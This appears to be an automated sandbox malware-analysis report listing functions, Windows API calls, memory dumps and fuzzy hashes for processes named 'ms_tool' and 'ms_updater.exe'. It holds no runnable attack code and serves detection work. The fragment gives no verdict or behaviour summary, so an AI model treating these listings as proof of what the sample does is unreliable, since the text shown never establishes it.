%hs, xrefs: 00007FF68C5E20B9, 00007FF68C5E2102
\\.\MountPointManager, xrefs: 00007FF68C5E1A85

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: Volume$Find$MountPoint$Close$FirstNameNext$ControlCreateDeviceDirectoryErrorFileHandleLastRemovememcpy
String ID: %hs$\\.\MountPointManager
API String ID: 1698496843-722914749
Opcode ID: 29a9cc707cee59c8517bfaf76483b7fe94fdb033e3cae43ba1fd485cd4e056f7
Instruction ID: 78c83c2a3130211dba6406f5afaeb4a8fe19c78b520d2771f2004bc5e2e37bc2
Opcode Fuzzy Hash: 29a9cc707cee59c8517bfaf76483b7fe94fdb033e3cae43ba1fd485cd4e056f7
Instruction Fuzzy Hash: CF71A032A08A82C6EF608F20E8442FA7BA4FF49B94F859139CA4E83754DF3CD559C701

Function 00007FF68C5E1FDC Relevance: 25.8, APIs: 17, Instructions: 294
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadUILanguage.KERNELBASE ref: 00007FF68C5E2027
SetErrorMode.KERNELBASE ref: 00007FF68C5E2036
HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF68C5E204D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF68C5E205D

Part of subcall function 00007FF68C5E12D4: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF68C5E1312

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF68C5E207F
GetConsoleMode.KERNELBASE ref: 00007FF68C5E209A

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: ErrorMode$ConsoleFormatHandleHeapInformationLanguageLastMessageThread
String ID:
API String ID: 2611510217-0
Opcode ID: b1c271bd61be92c86ed1bd6d37e711693baa63690a9554fba3a7541d918cc386
Instruction ID: fe6f5cc3729442c1275d31ec0f5a11f4b5327f682c216798b0cc7cc3867b147c
Opcode Fuzzy Hash: b1c271bd61be92c86ed1bd6d37e711693baa63690a9554fba3a7541d918cc386
Instruction Fuzzy Hash: 12D1B132A18642C6EF649F24EC402B977A0FF48B44F81513ADA4EC7699DF3CE965C702

Function 00007FF68C5E26C0 Relevance: 9.1, APIs: 6, Instructions: 95
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF68C5E2704
_amsg_exit.MSVCRT ref: 00007FF68C5E2720
_initterm.MSVCRT ref: 00007FF68C5E27A4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF68C5E27D1
exit.KERNELBASE ref: 00007FF68C5E281E
_cexit.MSVCRT ref: 00007FF68C5E282D

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
String ID:
API String ID: 4291973834-0
Opcode ID: 4ae1ec36ffe66ceb984f778016071e3338dd8f43b2d01ad686cb2e83bbe4d9b1
Instruction ID: c2b44b659de3fd640f6605159054109f8f7635a7c171191d210cbc08f8d4340f
Opcode Fuzzy Hash: 4ae1ec36ffe66ceb984f778016071e3338dd8f43b2d01ad686cb2e83bbe4d9b1
Instruction Fuzzy Hash: 4741EE75E0C61BC6FF649B56E94027922A0BF48790F44053EDA0DC76AADF2CF8A0C742

Function 00007FF68C5E1130 Relevance: 7.6, APIs: 5, Instructions: 62
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNELBASE ref: 00007FF68C5E1179
LocalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E1194
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF68C5E11D5
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1201
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E1210

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: LocalWrite$AllocByteCharConsoleFileFreeMultiWide
String ID:
API String ID: 3543570371-0
Opcode ID: 5e08e7c95a99c52eb60246902b127f6bc43a3d2a40ff4cdd77f2489be4fee96d
Instruction ID: 7c96c9f0946289f3e87768f2492e6e261aaaab87727b9b22f5e30c2fb349e771
Opcode Fuzzy Hash: 5e08e7c95a99c52eb60246902b127f6bc43a3d2a40ff4cdd77f2489be4fee96d
Instruction Fuzzy Hash: 2A216235A08B42C6EB148F11F84046ABB71FF89BA1F458239DE5E827A5CF3CE166C701

Function 00007FF68C5E1660 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryDosDeviceW.KERNELBASE ref: 00007FF68C5E16C9
lstrcmpW.KERNELBASE ref: 00007FF68C5E16E6

Part of subcall function 00007FF68C5E1238: FormatMessageW.KERNELBASE ref: 00007FF68C5E129F

Strings

:, xrefs: 00007FF68C5E16A2
\, xrefs: 00007FF68C5E1701

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: DeviceFormatMessageQuerylstrcmp
String ID: :$\
API String ID: 1650219507-1166558509
Opcode ID: 5d99d3ed7c2355dc3fb6264f36c03b812a760603cbc98b657a64cab4886fd2bc
Instruction ID: f728609613e26a99046e8618287de3b0964e7c57f11264079f32fe534b1ca6e7
Opcode Fuzzy Hash: 5d99d3ed7c2355dc3fb6264f36c03b812a760603cbc98b657a64cab4886fd2bc
Instruction Fuzzy Hash: 0C2150B2618681C2FE608F11E4003AB67A4FF89B84F455139DA8D8768ADF3CD555CB02

Function 00007FF68C5E1238 Relevance: 1.5, APIs: 1, Instructions: 31
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FormatMessageW.KERNELBASE ref: 00007FF68C5E129F

Part of subcall function 00007FF68C5E1130: WriteConsoleW.KERNELBASE ref: 00007FF68C5E1179

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: ConsoleFormatMessageWrite
String ID:
API String ID: 1159442765-0
Opcode ID: febdcccd4a6ca5abf0651f36ac2c4d885d5640e56f15418ecebb4e798eb2bb65
Instruction ID: ee1c9e8d5b7c4ac04eb766bd1548031e3ca3dfcc28cd5a85f6d9e933f2a9a41c
Opcode Fuzzy Hash: febdcccd4a6ca5abf0651f36ac2c4d885d5640e56f15418ecebb4e798eb2bb65
Instruction Fuzzy Hash: B6012C32A18B81C6EB24DB10F45525AB7A4FBD9784F414139E68C83B59EF7CD129CB41

Non-executed Functions

Function 00007FF68C5E2DB4 Relevance: 9.0, APIs: 6, Instructions: 49
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF68C5E2DE4
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF68C5E2DF2
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF68C5E2DFE
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF68C5E2E0A
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF68C5E2E1A
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0 ref: 00007FF68C5E2E35

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 40e3f1c2d9f24896e6cf21ecc3f7062268da11ab292e1b49d4a7588a6e2f4437
Instruction ID: 2ffcff26640156e382a8a63ee0d00a391533547908ad8261d3e2eaae61b16126
Opcode Fuzzy Hash: 40e3f1c2d9f24896e6cf21ecc3f7062268da11ab292e1b49d4a7588a6e2f4437
Instruction Fuzzy Hash: D2111A22A04B41CAEF00DF60E8442A833A4FB08758F410E38EA6D87B54EF7CD5A4C340

Function 00007FF68C5E159C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E15D3
DeviceIoControl.API-MS-WIN-CORE-IO-L1-1-0 ref: 00007FF68C5E1624
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF68C5E163B

Strings

\\.\MountPointManager, xrefs: 00007FF68C5E15C0

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: \\.\MountPointManager
API String ID: 33631002-3276014075
Opcode ID: c6ab8fc516d38159cfff938e0a4f74ad7cc36754aaf57107d06ca0e3cd3c8a9d
Instruction ID: f6e66a4fa6d2eb78de4e5aae04fa8c5fbb4ea23b2d4dbf75b6644bbd493c0333
Opcode Fuzzy Hash: c6ab8fc516d38159cfff938e0a4f74ad7cc36754aaf57107d06ca0e3cd3c8a9d
Instruction Fuzzy Hash: 3E114F32608B91C6DB148F58F404169BBA4FB89BB4F594329EA7E83BD4CF38C555CB04

Function 00007FF68C5E28C0 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FF68C5E2933
RtlLookupFunctionEntry.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FF68C5E2952
RtlVirtualUnwind.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FF68C5E299F
__raise_securityfailure.LIBCMT ref: 00007FF68C5E2A84

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 6d09d0d0d53610a89bff028a613da3a041f80898f6c4918de23eb4cbd6362075
Instruction ID: 5bda5f33e66bc4798978511dde140a10917902d020a8cb260a629d7c3905a164
Opcode Fuzzy Hash: 6d09d0d0d53610a89bff028a613da3a041f80898f6c4918de23eb4cbd6362075
Instruction Fuzzy Hash: 8341A4B5A08B16C1EF548B18F89036973A4FF88794F90513ADA8E82764EF7CE564C702

Function 00007FF68C5E2A98 Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FF68C5E2AA3
RtlLookupFunctionEntry.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FF68C5E2AC2
RtlVirtualUnwind.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FF68C5E2B0F
__raise_securityfailure.LIBCMT ref: 00007FF68C5E2B85

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 0de747106581f371168582486d9dc0af83d46a818d07c167d587705e8cee9617
Instruction ID: 3f9ceb9f15156bafcb9fd5fd53517998c733b682ad27cc2a4785847bf89fe195
Opcode Fuzzy Hash: 0de747106581f371168582486d9dc0af83d46a818d07c167d587705e8cee9617
Instruction Fuzzy Hash: 2021B075A08F5AC1EB508B05F88036973A4FF88794F50013ADA8D83764EF7DE264C702

Analysis Process: ms_updater.exePID: 6768, Parent PID: 6532COMMON

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	23.8%
Total number of Nodes:	21
Total number of Limit Nodes:	2

Executed Functions

Function 00007FFD9BBE49CD Relevance: 6.8, Strings: 5, Instructions: 577
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c, xrefs: 00007FFD9BBF9F56
K, xrefs: 00007FFD9BBF9E5A
c, xrefs: 00007FFD9BBF9FFF
c, xrefs: 00007FFD9BBFA020
P, xrefs: 00007FFD9BBF9E56

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID: K$P$c$c$c
API String ID: 0-3860519558
Opcode ID: ebd9859a96d503eb731613f8848ce8640cb8eebdacd39542f117cb5ab54b1113
Instruction ID: 03cb7e88c255c4bd363aed901e61e8618019dfd8fb82449db2c72bab8156e4d6
Opcode Fuzzy Hash: ebd9859a96d503eb731613f8848ce8640cb8eebdacd39542f117cb5ab54b1113
Instruction Fuzzy Hash: 00122230B19A4E8FE728DA7888A53F97AD2FF95309F05457DD08EC36D6CE2CA9458350

Function 00007FFD9BAA8B98 Relevance: 1.9, APIs: 1, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFD9BAAAF9F

Memory Dump Source

Source File: 00000003.00000002.1771443053.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baa0000_ms_updater.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: f8791edfe342db74c320fd7bc9bd94041de1c572dd9e9818374e6eac91f2e79b
Instruction ID: 2ab0d650687091bc4214aeb61e6403467d925a933037d808d0cdba728785e799
Opcode Fuzzy Hash: f8791edfe342db74c320fd7bc9bd94041de1c572dd9e9818374e6eac91f2e79b
Instruction Fuzzy Hash: 06B13631B0DE0D4FE7B8DB58D4657B977D2EB99321F05023ED04EC32A1DEA5A9028791

Function 00007FFD9BBE4A0D Relevance: 1.3, Instructions: 1278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889061075bb234f8c18234a131c827533ce2e348a700f1b5d02d8fb2d8dd1493
Instruction ID: fa85f6e947ae4742783f9f54b7e6802e04a019d6cf026c204232acaefbf5b7f5
Opcode Fuzzy Hash: 889061075bb234f8c18234a131c827533ce2e348a700f1b5d02d8fb2d8dd1493
Instruction Fuzzy Hash: C4929130A18A4E4FDB98DF68C895BB973E1FB98304F15417CD49ACB296CE35E952C780

Function 00007FFD9BBF364E Relevance: 1.1, Instructions: 1131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74f54c237a68435a67d037f21f51bd6f226beaff1557135be864bc19e7be4975
Instruction ID: e8b0760d634c41ae9f404fd3fa9d1463dfb0bca4f98386680c0a304a78e489e5
Opcode Fuzzy Hash: 74f54c237a68435a67d037f21f51bd6f226beaff1557135be864bc19e7be4975
Instruction Fuzzy Hash: 7D820C3170891D8FDB98EB68C4A9E65B7E2FF68304F1541A9D40EC72A6DE35EC81CB41

Function 00007FFD9BBE7276 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a76dbdf773bb9f08beac43dacfab9f4b41506f91e2ee20efc19aa7eca22a4c42
Instruction ID: 1ed312470b1ee67fe0db04787f632b4099035ca9adcef916523cd9863cf9f5df
Opcode Fuzzy Hash: a76dbdf773bb9f08beac43dacfab9f4b41506f91e2ee20efc19aa7eca22a4c42
Instruction Fuzzy Hash: C3F1C731A09A8E4FEBA8DF28C8597E937D1FF54314F14426EE85DC72E5CB3499418B82

Function 00007FFD9BBE8B21 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85521bbc52bd9f3604abd2ccae4c08e0830a8b22f38b7655790b70b5d4662af0
Instruction ID: f157aad23fd9605b018c5a4d8e990ece0d657b68354a0e2c0e1e577ca41885d9
Opcode Fuzzy Hash: 85521bbc52bd9f3604abd2ccae4c08e0830a8b22f38b7655790b70b5d4662af0
Instruction Fuzzy Hash: 41C10B11F2C94A0BE76DF77D6C675B9B3C2EF89315B0441B9E45EC72DBDC29A8024282

Function 00007FFD9BBE8022 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc94c25c2a1d59436b70626404d80e225b455b0d24113fe8f2a0b77eec0db6ed
Instruction ID: d4b2ff0a89919404b5b27222edbc7e30817cf63ec0d88007951df0c1d0e737ac
Opcode Fuzzy Hash: bc94c25c2a1d59436b70626404d80e225b455b0d24113fe8f2a0b77eec0db6ed
Instruction Fuzzy Hash: 2EE1C330A09E4E8FEBA8DF68D8557E937D1FF54314F04426AE84DC72E1CA78A94087C2

Function 00007FFD9BBEAC2A Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6346747d32eddc48792aae735b376a427de43e63f3ef7fa798f5a9d339ff2353
Instruction ID: ebd06521ea6fe267e8c929cf08126cc162bc7994de8fbce6b70ed4d4c9b0c299
Opcode Fuzzy Hash: 6346747d32eddc48792aae735b376a427de43e63f3ef7fa798f5a9d339ff2353
Instruction Fuzzy Hash: B9D11732B1D94E4FE768EA6888616B973D1FF54318F0102BAE45EC71F7DD2479058682

Function 00007FFD9BBE1B10 Relevance: .4, Instructions: 409COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea5b0a39eb22b72d3d05f4ae085c32d39cb8aba22d9a7777e97239cf2c27e75
Instruction ID: 21d907d07fc25ce138ee2095796ba9175d31deee4c66b57a4c69c4062ca1f4ae
Opcode Fuzzy Hash: eea5b0a39eb22b72d3d05f4ae085c32d39cb8aba22d9a7777e97239cf2c27e75
Instruction Fuzzy Hash: 5BD13C21F0D64E0FE769EB7898755B877D1FF85318B0501B6E05DCB2E7ED29A9028382

Function 00007FFD9BBE1AF5 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b256aa1c441c88ddb766a99e11ea8f3327bed6bd77a5a71a48cb6b71d323a321
Instruction ID: eacc5c6dbe01b05dd364baf9cc02def4f8e91f1117b2aadc12e0f8ed8f248bd8
Opcode Fuzzy Hash: b256aa1c441c88ddb766a99e11ea8f3327bed6bd77a5a71a48cb6b71d323a321
Instruction Fuzzy Hash: 75B10821B1D68E0FE765EB7C88755B877D1FF85314B0541B6E059CB2EBED28AD028382

Function 00007FFD9BBF813D Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd4a6b1ab605e01d02f083e8bb40c67b132329d611873e89f3377f0ac4904cfa
Instruction ID: c77f84f863adb67b83632da251ee9007fc67e89b414447c0c7a7fa174f8b8b8a
Opcode Fuzzy Hash: bd4a6b1ab605e01d02f083e8bb40c67b132329d611873e89f3377f0ac4904cfa
Instruction Fuzzy Hash: 8C91B620F1CA0E4BE768FB6C9866679B2C2EF98305F444579E01EC32EADD29EC424641

Function 00007FFD9BBE8B7D Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35c9d5b3935954abf805e4a898932e7e7146778f3e8a5b50f021692a730cd182
Instruction ID: 432f1ae5660938527b2c8e811fa21ecae608b2cc0ca2572b3aaa1118d0f5541d
Opcode Fuzzy Hash: 35c9d5b3935954abf805e4a898932e7e7146778f3e8a5b50f021692a730cd182
Instruction Fuzzy Hash: 0791B414F2C90A0BE76CFB7D6C675B9B2C2EF88705B4445B9E45EC32DFDC29A8020186

Function 00007FFD9BBE21B5 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b55bdd68dbdac87235f76debcb563457f9f3f82b35b3a6c1de38cda53ee05a
Instruction ID: aedb434b92b06e462cef90238966a4f9416ac2d49403f3a813689cefa16e99ca
Opcode Fuzzy Hash: 08b55bdd68dbdac87235f76debcb563457f9f3f82b35b3a6c1de38cda53ee05a
Instruction Fuzzy Hash: 3191D720F1DA0E4FEB59FB7848B65B977D1FF59304B550079D01EC32E6DE29A8418782

Function 00007FFD9BAA9D6E Relevance: 1.7, APIs: 1, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FFD9BAA9E99

Memory Dump Source

Source File: 00000003.00000002.1771443053.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baa0000_ms_updater.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
API String ID: 2149338676-0
Opcode ID: 7f2c2283f967beee75aeb8580ddf1e05ccbebee3684c9ae5a11784f0a2b43445
Instruction ID: 5b33bc8c241089acb26815935408c21513a4acede808a7e0e26f3987975c91c3
Opcode Fuzzy Hash: 7f2c2283f967beee75aeb8580ddf1e05ccbebee3684c9ae5a11784f0a2b43445
Instruction Fuzzy Hash: 1251E53090DB988FDB55DF58D845AA97BE0EF5A320F1442AFE089D3252CB74A841CB82

Function 00007FFD9BBE268D Relevance: 1.6, Strings: 1, Instructions: 393
